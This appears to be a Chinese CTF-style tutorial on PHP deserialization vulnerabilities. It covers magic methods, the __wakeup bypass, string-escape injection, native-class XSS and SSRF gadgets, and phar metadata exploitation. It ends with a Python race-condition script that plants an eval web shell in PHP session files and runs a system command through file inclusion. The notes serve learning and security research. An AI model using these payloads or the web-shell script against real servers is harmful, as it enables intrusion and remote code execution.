PHP反序列化

概念

php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize,可以将对象中的成员变量转换成字符串。

反序列化的函数为unserilize,可以将serialize生成的字符串重新还原为对象中的成员变量。

将用户可控的数据进行了反序列化,就是PHP反序列化漏洞。

序列化的目的是方便数据的传输和存储。

在PHP应用中,序列化和反序列化一般用作缓存,比如session缓存,cookie等。通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。

前置知识

序列化的字母标识

1
2
3
4
5
6
7
8
9
10
11
12
13
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N - NULL

序列化后的字符串格式

每一个序列化后的小段都由; 隔开, 使用{}表示层级关系

数据类型 提示符 格式
字符串 s s:长度:”内容”
已转义字符串 S s:长度:”转义后的内容”
整数 i i:数值
布尔值 b b:1 => true / b:0 => false
空值 N N;
数组 a a:大小:{键序列段;值序列段;<重复多次>}
对象 O O:类型名长度:”类型名称”:成员数:{成员名称序列段;成员值序列段:}
引用 R R:反序列化变量的序号, 从1开始

魔术方法

概念

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。

常用魔术方法

__construct

构造函数, 在对应对象实例化时自动被调用. 子类中的构造函数不会隐式调用父类的构造函数.

在 PHP 8 以前, 与类名同名的方法可以作为 __constuct 调用但 __construct 方法优先

__sleep()

此方法在对象被序列化时会调用。

如果方法存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

__wakeup

__sleep()相反地,此方法在对象被反序列化时会调用

__toString

此方法在对象转化成字符串时会被调用。

当然, 因为 PHP 是一个弱类型语言, 很多情况对象会被隐式转换成字符串, 比如

  • == 与字符串比较时会被隐式转换
  • 字符串操作 (str系列函数), 字符串拼接, addslashes
  • 一些参数需要为字符串的参数: class_exists , in_array(第一个参数), SQL 预编译语句, md5, sha1
  • print, echo 函数

简单示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// 声明一个简单的类
class TestClass
{
public $foo;
public function __construct($foo)
{
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}
$class = new TestClass('Hello');
echo $class;
?>

以上示例会输出:

1
Hello
1
2
3
4
5
6
7
8
9
10
11
12
__get()			//在读取某些不可访问或者不存在的字段时触发, 传入参数为字段名称
__set() //给不可访问和不存在的字段赋值时触发, 传入的参数第一个为字段名, 第二个为赋值
__invoke() //把对象当做函数调用时会使用, 例如 $foo()
//不仅限于显式调用, 将其作为回调函数(例如array_map作为第一个参数传入) 也会调用此函数
__isset() //在对不可访问的字段调用 isset 或者 empty 时触发
__unset() //在对不可访问的字段调用 unset 时触发
__debugInfo() //在使用 var_dump, print_r 时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__set_state() // 调用var_export()导出类时,此静态方法会被调用
__clone() // 当对象复制完成时调用
__autoload() // 尝试加载未定义的类

执行顺序

不同的情况下会有不同的顺序。

  1. 一个对象在其生命周期中一定会走过 destruct, 只有当对象没有被任何变量指向时才会被回收。

​ 2.当使用 new 关键字来创建一个对象时会调用 construct

对于序列化/反序列化时的情况

序列化时会先调用 sleep 再调用 destruct, 故而完整的调用顺序为: sleep -> (变量存在) -> destruct

反序列化时如果有 __wakeup 则会调用 __wakeUp 而不是 __construct, 故而逻辑为 __wakeUp/__construct -> (变量存在)

反序列化绕过

绕过__wakeup

(CVE-2016-7124)

1
2
3
PHP5 < 5.6.25

PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行

对于下面这样一个自定义类

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}

如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

输出结果为666

而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');

输出结果为abc

绕过部分正则

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头

有些时候我们会看到^O:\d+ 这种的正则表达式, 要求开头不能为对象反序列化

这种情况我们有以下绕过手段

  1. 由于\d只判断了是否为数字, 则可以在个数前添加+来绕过正则表达式
  2. 将这个对象嵌套在其他类型的反序列化之中, 例如数组
利用加号绕过

(注意在url里传参时+要编码为%2B)

serialize(array(a)) ; //a为要反序列化的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}

function match($data){
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

利用引用

<?php
class test{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'abc';
        $this->b= &$this->a;
    }
    public function  __destruct(){
    if($this->a===$this->b){
        echo 666;
    }
  }
}
$a = serialize(new test());

这个例子将$b设置为$a的引用,可以使$a永远与$b相等(相当于指针)

16进制绕过字符的过滤

1
2
3
4
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。

我们可以使用十六进制搭配上已转义字符串来绕过对某些字符的检测,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Read
{
public $name;

public function __wakeup()
{
if ($this->name == "flag")
{
echo "You did it!";
}
}
}


$str = '';
if (strpos($str, "flag") === false)
{
$obj = unserialize($str);
}
else
{
echo "You can't do it!";
}

这里检测了是否包含 flag 字符, 可以尝试使用 flag 的十六进制 \66\6c\61\67 来绕过, 构造以下:

1
'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'

Python 脚本可以将字符串转换为 Hex

1
2
str = input('Enter a string: ')
print('\\' + str.encode('utf-8').hex('\\'))

字符逃逸

情况1:过滤后字符变多

本地的php代码,把反序列化后的一个x替换成为两个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时age=$new[1]";

正常情况,传入name=mao

1
2
3
反序列化字符串: string(38)"a:2:{i:0;s:3:"mao";i:1;s:7:"I am 11";}"
过滤后:array(2){[0]=> string(3)"mao"[1]=>string(7) "I am 11"}
此时,age=I am 11

如果此时多传入一个x,反序列化失败,由于溢出(s本来是4,多了一个字符出来),我们可以利用这一点实现字符串逃逸。

1
2
3
反序列化字符串: string(39) "a:2:{i:O;s:4:"maox";i:1;s:7:"I am 11";}"
过滤后:bool(false)
此时,age=
1
2
3
反序列化字符串:string(79)"a:2:0i:0;s:43:"maoxxxxxx00x0xxoxxxxx";i:1;s:6:"woaini7";}";i:1;s:7:"l am 11";)"
过滤后:array(2){[0]=>string(43)"maoxxx808x88x883800x80000008xxxxxxxxxx”[1]=> string(6)"woaini"})
此时,age=woaini

传入

1
2
name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}

这一部分一共二十个字符,由于一个x会被替换为两个,一共输入了20个x,现在是40个,多出来的20个x取代了这二十个字符";i:1;s:6:"woaini";},从而造成";i:1;s:6:"woaini";}的溢出,而"闭合了前串,使字符串成功逃逸,可以被反序列化,输出woaini
最后的;}闭合反序列化全过程导致原来的";i:1;s:7:"I am 11";}"被舍弃,不影响反序列化过程

情况2:过滤后字符变少

把反序列化后的两个x替换成为一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];

正常情况传入name=mao&age=11

1
2
3
4
反序列化字符串:string(46)"a:2:{s:4:"name";s:3:"mao";s:3:"age";s:2:"11"";)"
过滤后:string(46)"a:2:{s:4:"name";s:3:"mao";s:3:"age";s:2:"11";}”
array(2){["name"]=>string(3)"mao"["age"]=>string(2)"11"}
此时,age=11

前面少了一半,导致后面的字符覆盖,从而执行了后面的代码;
这部分是age序列化后的结果

s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"

由于前面是40个x所以导致少了20个字符,所以需要后面来补上,";s:3:"age";s:28:"11这一部分刚好20个,后面由于有"闭合了前面因此后面的参数就可以由我们自定义执行了

利用不完整类绕过序列化

当存在 serialize(unserialize($x)) != $x 时, 可以利用不完整类 __PHP_Incomplete_Class 来进行处理。

当我们尝试反序列化到一个不存在的类时, PHP 会使用 __PHP_Incomplete_Class_Name 这个追加的字段来进行存储。我们于是可以尝试自己构造一个不完整类

1
2
3
4
<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true

绕过。

更进一步, 我们可以通过这个让一个对象被调用后凭空消失, 只需要手动构造无__PHP_Incomplete_Class_Name的不完整对象

PHP 会先把他的属性给创建好, 但是在创建好最后一个属性后并未发现 __PHP_Incomplete_Class_Name, 于是会将前面创建的所有的属性回收并引发 __destruct

反序列化利用

原生类反序列化利用*

Error

Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。

如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,也可以直接使用 echo <Object> 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法,这是一种挖洞的新思路。

类摘要
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性
  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数
类方法
使用 Error 内置类构造XSS
1
2
3
4
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>

//一个反序列化函数,但是没有进行反序列化的类,反序列化但没有POP链的情况只能找到PHP内置类来进行反序列化

POC
1
2
3
4
5
6
7
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>

//输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

Exception

类摘要
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性
  • message:异常消息内容
  • code:异常代码
  • file:抛出异常的文件名
  • line:抛出异常在该文件中的行号
类方法
代码
1
2
3
4
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>
POC
1
2
3
4
5
6
7
<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>

//输出: O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

DirectoryIterator

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。

代码
1
2
3
4
5
6
7
8
9
10
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

输入 /?whoami=glob:///* 可列出根目录下的文件。

只能列根目录和open_basedir指定的目录的文件,不能列出其他目录中的文件,且不能读取文件内容。

SoapClient

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

SoapClient 可以进行 HTTP/HTTPS 的请求, 但是不会输出服务端输出的内容. 不过, 我们仍然可以利用这个来进行内网渗透。

我们通过上面的脚本可以找到 SoapClient 类中存在 SoapClient::__call, 当我们调用一个不存在的方法时会转发到此方法, 同时请求给服务端

对于 SoapClient 的反序列化, 我们可以控制很多地方的参数,

  • location (SoapClientlocation),这样就可以发送请求到指定服务器
  • uri (SoapClienturi), 由于这一串最后会到 Header 里的 SOAPAction, 我们可以在这里注入换行来新建 Header 项, 注意这里的会自动给传入的内容包裹上双引号
  • useragent (SoapClient_user_agent), 由于 User-Agent 段在 Content-Type 的上方, 我们可以通过对 useragent 换行来覆盖掉默认的 text/xml 的请求类型. 由于默认是 POST 请求, 结合起来我们就可以对指定服务器发送任意 POST 请求。

Phar 反序列化

phar文件

phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。

在软件中,PHARPHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发

php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如fopen(),copy(),file_exists()filesize()phar://就是一种内置的流包装器。

常见的流包装器

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

phar文件结构

1
2
3
4
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature(可空):签名,放在末尾。

生成一个phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

漏洞利用条件

phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

绕过方式

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://compress.zlib://等绕过

1
2
3
4
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”.“<?php __HALT_COMPILER(); ?>”); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif

session反序列化

session.upload_progress 来进行利用

如果没有特别配置的话, session 通常存储在服务器上的某个文件夹中, 并且文件名通常为 sess_{你的SESSION_ID}

由于存储时时通过反序列化, 所以原本的字符串会被保留。于是我们可以注入 PHP 代码, 再通过文件包含执行他

利用条件:

  1. 可以进行任意文件包含 (或允许包含 session 存储文件)
  2. 知道session文件存放路径,可以尝试默认路径
  3. 具有读取和写入session文件的权限

若服务器存在文件 test.php:

1
2
3
4
<?php
$b = $_GET['file'];
include "$b";
?>

我们可以使用类似条件竞争的方法来进行(python示例)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import io
import requests
import threading
sessid = 'KW'
data = {"cmd":"system('cat /flag');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50) # 创建 dummy 数据
resp = session.post( 'http://[ip]/test.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('KW.txt',f)}, cookies={'PHPSESSID': sessid} ) # 注入恶意代码到存储的 SESSION 中
def read(session):
while True:
resp = session.post('http://[ip]/test.php?file=session/sess_'+sessid,data=data) # 包含 SESSION 文件, 执行恶意代码
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
break
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

如果是反序列化的话, 我们也可以进行反序列化注入

如果我们的文件名可控, 我们在之前放上 | 表示前面的是键名, 后再写入恶意代码。注意引号要进行转义。

解析session文件时直接对’|’后的值进行反序列化处理说明:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。

*注:此处感谢2月22日凌晨0:48:59以后土豆学长的纠正和指导,向他半夜还在改作业的敬业程度致敬!